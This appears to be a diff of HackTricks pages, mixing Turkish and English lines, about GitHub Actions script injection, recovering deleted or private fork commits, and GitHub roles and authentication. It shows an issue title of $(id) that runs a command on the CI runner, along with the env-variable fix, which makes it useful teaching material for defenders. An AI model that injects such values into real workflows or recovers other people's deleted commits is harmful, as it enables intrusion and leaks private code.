permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Eğer bir saldırgan $(id) başlıklı bir issue açarsa, renderlenen adım şöyle olur:
|
||||
|
||||
If an attacker opens an issue titled $(id), the rendered step becomes:
|
||||
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
Komut değişimi runner üzerinde id komutunu çalıştırır. Örnek çıktı:
|
||||
|
||||
The command substitution runs id on the runner. Example output:
|
||||
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Neden tırnaklama sizi kurtarmaz:
|
||||
- İfadeler önce render edilir, sonra ortaya çıkan script çalıştırılır. Eğer güvensiz değer $(...), `;`, `"`/`'`, veya yeni satırlar içeriyorsa, tırnaklama yapmış olsanız bile program yapısını değiştirebilir.
|
||||
|
||||
## Güvenli desen (shell variables via env)
|
||||
Why quoting doesn’t save you:
|
||||
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
|
||||
|
||||
## Safe pattern (shell variables via env)
|
||||
|
||||
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
|
||||
|
||||
Doğru önlem: güvensiz girdiyi bir environment variable'a kopyalayın, sonra run script içinde native shell expansion ($VAR) kullanın. Komutun içinde ${{ ... }} ile tekrar gömmeyin.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Notlar:
|
||||
- run: içinde ${{ env.TITLE }} kullanmaktan kaçının. Bu, şablon render'ını komutun içine yeniden sokar ve aynı enjeksiyon riskini getirir.
|
||||
- Güvensiz girdileri env: mapping ile geçirmek ve run: içinde bunlara $VAR ile referans vermek tercih edin.
|
||||
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Sadece public repository'lerde okuma izni olan hesaplar bile birçok eventi tetikleyebilir. Bu olaylardan türetilen contexts içindeki herhangi bir alan, aksi kanıtlanana kadar saldırgan kontrolünde kabul edilmelidir. Örnekler:
|
||||
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (org'lar discussions'ı kısıtlayabilir)
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (kötü kullanılırsa tehlikeli, base repo context'inde çalışır)
|
||||
- fork (herkes public repo'yu fork'layabilir)
|
||||
- watch (bir repo'yu star'lamak)
|
||||
- Dolaylı olarak workflow_run/workflow_call zincirleri vasıtasıyla
|
||||
- pull_request_target (dangerous if misused, runs in base repo context)
|
||||
- fork (anyone can fork public repos)
|
||||
- watch (starring a repo)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
|
||||
Hangi spesifik alanların saldırgan kontrolünde olduğu olay bazlıdır. GitHub Security Lab’in untrusted input rehberine bakın: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Practical tips
|
||||
|
||||
- run: içinde expressions kullanımını en aza indirin. env: mapping + $VAR tercih edin.
|
||||
- Eğer girdiyi dönüştürmeniz gerekiyorsa, bunu shell içinde güvenli araçlarla yapın (printf %q, jq -r, vb.), yine bir shell değişkeninden başlayarak.
|
||||
- Branch isimlerini, PR başlıklarını, kullanıcı adlarını, label'ları, discussion başlıklarını ve PR head ref'lerini script'lere, komut satırı flag'lerine veya dosya yollarına interpolasyon yaparken ekstra dikkatli olun.
|
||||
- Reusable workflows ve composite actions için de aynı deseni uygulayın: env'e map edip sonra $VAR ile referanslayın.
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
|
||||
## References
|
||||
|
||||
@@ -93,4 +101,4 @@ Hangi spesifik alanların saldırgan kontrolünde olduğu olay bazlıdır. GitHu
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,56 +1,58 @@
|
||||
# Github'da Erişilebilir Silinmiş Veriler
|
||||
# Accessible Deleted Data in Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Github'da sözde silinmiş verilere erişim yolları [**bu blog yazısında rapor edilmiştir**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Silinmiş Fork Verilerine Erişim
|
||||
## Accessing Deleted Fork Data
|
||||
|
||||
1. Kamuya açık bir depoyu fork'layın.
|
||||
2. Fork'unuza kod ekleyin.
|
||||
3. Fork'unuzu silin.
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
|
||||
> [!CAUTION]
|
||||
> Silinmiş fork'ta yapılan veriler hala erişilebilir.
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
|
||||
## Silinmiş Repo Verilerine Erişim
|
||||
## Accessing Deleted Repo Data
|
||||
|
||||
1. GitHub'da bir kamuya açık reposu var.
|
||||
2. Bir kullanıcı reposunu fork'lar.
|
||||
3. Onlar fork'ladıktan sonra veri ekleyin (ve asla fork'larını güncellemelerinizle senkronize etmezler).
|
||||
4. Tüm repoyu silin.
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
|
||||
> [!CAUTION]
|
||||
> Repo'nuzu silseniz bile, ona yapılan tüm değişiklikler fork'lar aracılığıyla hala erişilebilir.
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
|
||||
## Özel Repo Verilerine Erişim
|
||||
## Accessing Private Repo Data
|
||||
|
||||
1. Nihayetinde kamuya açık hale gelecek bir özel repo oluşturun.
|
||||
2. O repo'nun özel, iç versiyonunu (fork'lama yoluyla) oluşturun ve kamuya açık yapmayacağınız özellikler için ek kod ekleyin.
|
||||
3. "Upstream" reposunu kamuya açık yapın ve fork'unuzu özel tutun.
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
|
||||
> [!CAUTION]
|
||||
> İç fork oluşturulduğu ve kamuya açık versiyon yapıldığı süre zarfında iç fork'a itilen tüm verilere erişmek mümkündür.
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
|
||||
## Silinmiş/Gizli Fork'lardan Commit'leri Nasıl Bulunur
|
||||
## How to discover commits from deleted/hidden forks
|
||||
|
||||
Aynı blog yazısı 2 seçenek öneriyor:
|
||||
The same blog post propose 2 options:
|
||||
|
||||
### Commit'e Doğrudan Erişim
|
||||
### Directly accessing the commit
|
||||
|
||||
Commit ID (sha-1) değeri biliniyorsa, `https://github.com/<user/org>/<repo>/commit/<commit_hash>` adresinden erişmek mümkündür.
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Kısa SHA-1 Değerlerini Brute-Force ile Bulma
|
||||
### Brute-forcing short SHA-1 values
|
||||
|
||||
Her iki erişim yöntemi de aynıdır:
|
||||
It's the same to access both of these:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
Ve sonuncusu brute-force ile bulunabilir kısa bir sha-1 kullanır.
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,188 +1,194 @@
|
||||
# Temel Github Bilgileri
|
||||
# Basic Github Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Yapı
|
||||
## Basic Structure
|
||||
|
||||
Büyük bir **company** için temel github ortam yapısı, bir **enterprise**'a sahip olmaktır; bu **enterprise** birden fazla **organization**'a sahip olur ve her biri birden fazla **repository** ve birden fazla **team** içerebilir. Daha küçük şirketler sadece **bir organization'a sahip olup enterprise'ları olmayabilir**.
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
|
||||
Kullanıcı bakış açısından, bir **user** farklı **enterprises** ve **organizations**ın **üyesi** olabilir. Bunların içinde kullanıcı farklı **enterprise, organization ve repository rolleri**ne sahip olabilir.
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
|
||||
Ayrıca, bir kullanıcı farklı **teams**'in parçası olabilir ve farklı enterprise, organization veya repository rollerine sahip olabilir.
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
|
||||
Ve son olarak **repositories** özel koruma mekanizmalarına sahip olabilir.
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## Yetkiler
|
||||
## Privileges
|
||||
|
||||
### Enterprise Rolleri
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: Bu role sahip kişiler **yöneticileri yönetebilir, enterprise içindeki organization'ları yönetebilir, enterprise ayarlarını yönetebilir, organization'lar arasında politika uygulayabilirler**. Ancak, **organizasyon ayarlarına veya içeriğe erişemezler**; bunun için ya organization owner yapılmaları ya da organization'a ait bir repository'ye doğrudan erişim verilmesi gerekir.
|
||||
- **Enterprise members**: Enterprise'ınız tarafından sahip olunan organization'ların üyeleri **otomatik olarak enterprise üyesi** olurlar.
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
|
||||
### Organization Rolleri
|
||||
### Organization Roles
|
||||
|
||||
Bir organization içinde kullanıcılar farklı rollere sahip olabilir:
|
||||
In an organisation users can have different roles:
|
||||
|
||||
- **Organization owners**: Organization owners, **organization üzerinde tam idari erişime** sahiptir. Bu rol sınırlı tutulmalıdır, fakat organizasyonunuzda en az iki kişiden az olmamalıdır.
|
||||
- **Organization members**: Organization içindeki kişilerin varsayılan, idari olmayan rolü organization member'dır. Varsayılan olarak organization üyelerinin **bir dizi izni** vardır.
|
||||
- **Billing managers**: Billing managers, organizasyonunuz için ödeme bilgileri gibi **fatura ayarlarını yönetebilen** kullanıcılardır.
|
||||
- **Security Managers**: Organization owners tarafından bir team'e atanabilen bir roldür. Uygulandığında, takımın her üyesine organizasyon genelinde **security alert'leri ve ayarları yönetme izinleri** ve organizasyondaki tüm repository'ler için **okuma izinleri** verir.
|
||||
- Eğer organizasyonunuzun bir security team'i varsa, security manager rolünü kullanarak takım üyelerine organizasyona yönelik en az erişimi verebilirsiniz.
|
||||
- **Github App managers**: Bir organization tarafından sahip olunan GitHub Apps'leri yönetmelerine izin vermek için owner, kullanıcılara Github App manager izinleri verebilir.
|
||||
- **Outside collaborators**: Outside collaborator, **organization üyesi olmayan** fakat bir veya daha fazla organization repository'sine **erişimi olan** kişidir.
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
|
||||
Bu rollerin izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Üye Yetkileri
|
||||
### Members Privileges
|
||||
|
||||
_in https://github.com/organizations/\<org_name>/settings/member_privileges_ adresinde **kullanıcıların organizasyonun parçası olmaktan dolayı sahip olacakları izinleri** görebilirsiniz.
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
|
||||
Burada yapılandırılan ayarlar, organizasyon üyelerinin aşağıdaki izinlerini gösterecektir:
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
|
||||
- Tüm organizasyon repository'leri üzerinde admin, writer, reader veya hiç izin sahibi olmama.
|
||||
- Üyelerin private, internal veya public repository oluşturup oluşturamayacağı.
|
||||
- Repository'lerin fork edilebilme durumu.
|
||||
- Outside collaborators davet etmenin mümkün olup olmadığı.
|
||||
- Public veya private sitelerin yayınlanıp yayınlanamayacağı.
|
||||
- Adminlerin repository'ler üzerindeki izinleri.
|
||||
- Üyelerin yeni teams oluşturup oluşturamayacağı.
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
|
||||
### Repository Rolleri
|
||||
### Repository Roles
|
||||
|
||||
Varsayılan olarak repository rolleri oluşturulur:
|
||||
By default repository roles are created:
|
||||
|
||||
- **Read**: Projenizi görüntülemek veya tartışmak isteyen **kod dışı katkıcılar** için önerilir.
|
||||
- **Triage**: Yazma erişimi olmadan issue'ları ve pull request'leri proaktif olarak yönetmesi gereken **katkıcılar** için önerilir.
|
||||
- **Write**: Projenize aktif olarak push yapan katkıcılar için önerilir.
|
||||
- **Maintain**: Repository'yi **yönetmesi gereken proje yöneticileri** için önerilir; hassas veya yıkıcı işlemlere erişim olmadan.
|
||||
- **Admin**: Güvenlik yönetimi veya repository silme gibi hassas ve yıkıcı işlemler dahil olmak üzere **projeye tam erişime** ihtiyaç duyan kişiler için önerilir.
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
|
||||
Her rolün izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Ayrıca kendi rollerinizi _https://github.com/organizations/\<org_name>/settings/roles_ adresinde **oluşturabilirsiniz**.
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
Organization'da oluşturulmuş teams'leri _https://github.com/orgs/\<org_name>/teams/_ adresinde **listeleyebilirsiniz**. Not: başka team'lerin alt takımları olan team'leri görmek için her bir üst team'e erişmeniz gerekir.
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
|
||||
### Users
|
||||
|
||||
Organization kullanıcıları _https://github.com/orgs/\<org_name>/people_ adresinde **listelenebilir**.
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
Her kullanıcının bilgisi içinde kullanıcının **üye olduğu teams** ve kullanıcının **erişimi olan repos** görülebilir.
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github, hesabınıza kimlik doğrulaması yapmak ve sizin adınıza işlem gerçekleştirmek için farklı yollar sunar.
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
|
||||
### Web Erişimi
|
||||
### Web Access
|
||||
|
||||
github.com'a erişerek **kullanıcı adı ve parola** (ve potansiyel olarak **2FA**) ile giriş yapabilirsiniz.
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
|
||||
### SSH Keys
|
||||
### **SSH Keys**
|
||||
|
||||
Hesabınızı bir veya birkaç public key ile yapılandırabilir, böylece ilgili **private key** sizin adınıza işlem yapabilir. [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### GPG Keys
|
||||
#### **GPG Keys**
|
||||
|
||||
Bu anahtarlarla **kullanıcıyı taklit edemezsiniz**, ancak eğer kullanmazsanız imzasız commit göndermekten dolayı **keşfedilmeniz** mümkün olabilir. [vigilant mode hakkında daha fazla bilgi için buraya bakın](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### Personal Access Tokens
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Bir uygulamaya hesabınıza erişim vermek için personal access token oluşturabilirsiniz. Bir personal access token oluştururken **kullanıcı**, token'ın sahip olacağı **izinleri** belirtmelidir. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
|
||||
Oauth uygulamaları, **github bilgilerinize erişmek veya sizi taklit ederek bazı işlemler yapmak** için izin isteyebilir. Bu işlevselliğe yaygın bir örnek, bazı platformlarda bulabileceğiniz **login with github** butonudur.
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
|
||||
- Kendi **Oauth applications**'ınızı [https://github.com/settings/developers](https://github.com/settings/developers) adresinde **oluşturabilirsiniz**.
|
||||
- Hesabınıza erişimi olan tüm **Oauth applications**'ı [https://github.com/settings/applications](https://github.com/settings/applications) adresinde görebilirsiniz.
|
||||
- Oauth Apps'in isteyebileceği **scopes**'u burada görebilirsiniz: [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- Bir **organization** içindeki uygulamaların üçüncü taraf erişimini _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ adresinde görebilirsiniz.
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
|
||||
Bazı **güvenlik önerileri**:
|
||||
Some **security recommendations**:
|
||||
|
||||
- Bir **OAuth App**, belirtilen scope'larla sınırlı erişimle, her zaman **kimlik doğrulanmış GitHub kullanıcısı gibi davranmalıdır** (örneğin, kullanıcı bildirimleri sağlarken).
|
||||
- Bir OAuth App, kimliği doğrulanmış kullanıcı için "Login with GitHub" etkinleştirerek kimlik sağlayıcı olarak kullanılabilir.
|
||||
- **Repo** OAuth scope'u ile OAuth Apps, kimlik doğrulanmış kullanıcının tüm repository'leri üzerinde **hareket edebilir**, bu yüzden eğer uygulamanızın sadece **tek bir repository** üzerinde davranmasını istiyorsanız OAuth App oluşturmayın.
|
||||
- Bir şirket veya takım için bir OAuth App oluşturmayın. OAuth Apps bir **tek kullanıcı** olarak kimlik doğrular; bir kişi şirket için OAuth App oluşturup şirketten ayrılırsa, kimse ona erişemez.
|
||||
- **Daha fazla** bilgi için bakınız: [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
|
||||
Github applications, belirli kaynaklar üzerinde **github bilgilerinize erişmek veya sizi taklit etmek** için izin isteyebilir. Github Apps içinde uygulamanın erişeceği repository'leri belirtmeniz gerekir.
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
|
||||
- Bir GitHub App'i yüklemek için **organization owner** olmanız veya bir repository üzerinde admin izinlerine sahip olmanız gerekir.
|
||||
- GitHub App bir **kişisel hesap veya bir organization** ile ilişkilendirilmelidir.
|
||||
- Kendi Github uygulamanızı [https://github.com/settings/apps](https://github.com/settings/apps) adresinde oluşturabilirsiniz.
|
||||
- Hesabınıza erişimi olan tüm **Github applications**'ı [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) adresinde görebilirsiniz.
|
||||
- Bunlar Github Applications için **API Endpoints**'dir: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak bazılarına erişim sağlanabilir.
|
||||
- Bir **organization** içinde yüklü uygulamaları _https://github.com/organizations/\<org_name>/settings/installations_ adresinde görebilirsiniz.
|
||||
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
|
||||
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Bazı güvenlik önerileri:
|
||||
Some security recommendations:
|
||||
|
||||
- Bir GitHub App, **kullanıcıdan bağımsız olarak işlem yapmalıdır** (uygulama bir [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token kullanmıyorsa). User-to-server erişim token'larını daha güvenli tutmak için, 8 saat sonra süresi dolacak access token'ları ve yeni access token ile takas edilebilecek bir refresh token kullanabilirsiniz. Daha fazla bilgi için "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." başlığına bakın.
|
||||
- GitHub App'in belirli repository'lerle entegre olduğundan emin olun.
|
||||
- GitHub App bir **kişisel hesap veya bir organization** ile ilişkilendirilmelidir.
|
||||
- GitHub App'in bir kullanıcının bildiği ve yapabildiği her şeyi bilmesini veya yapmasını beklemeyin.
|
||||
- Sadece "Login with GitHub" servisine ihtiyacınız varsa GitHub App kullanmayın. Ancak bir GitHub App, kullanıcıları oturum açtırmak ve diğer şeyleri yapmak için bir [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir.
|
||||
- Eğer sadece bir GitHub kullanıcısı gibi davranıp o kullanıcının yapabildiği her şeyi yapmak istiyorsanız GitHub App oluşturmayın.
|
||||
- GitHub Actions ile uygulamanızı kullanıyor ve workflow dosyalarını değiştirmek istiyorsanız, kullanıcının adına OAuth token ile kimlik doğrulamanız gerekir ve token `workflow` scope'unu içermelidir. Kullanıcının workflow dosyasını içeren repository üzerinde admin veya write izni olmalıdır. Daha fazla bilgi için "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." başlığına bakın.
|
||||
- **Daha fazla** bilgi için bakınız: [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Make sure the GitHub App integrates with **specific repositories**.
|
||||
- The GitHub App should **connect to a personal account or an organisation**.
|
||||
- Don't expect the GitHub App to know and do everything a user can.
|
||||
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
|
||||
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
|
||||
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Bu, github'da kimlik doğrulama yapma yolu değildir, fakat **kötü niyetli** bir Github Action **github'a yetkisiz erişim** elde edebilir ve Action'a verilen **yetkilere** bağlı olarak birçok **farklı saldırı** gerçekleştirilebilir. Daha fazla bilgi için aşağıya bakın.
|
||||
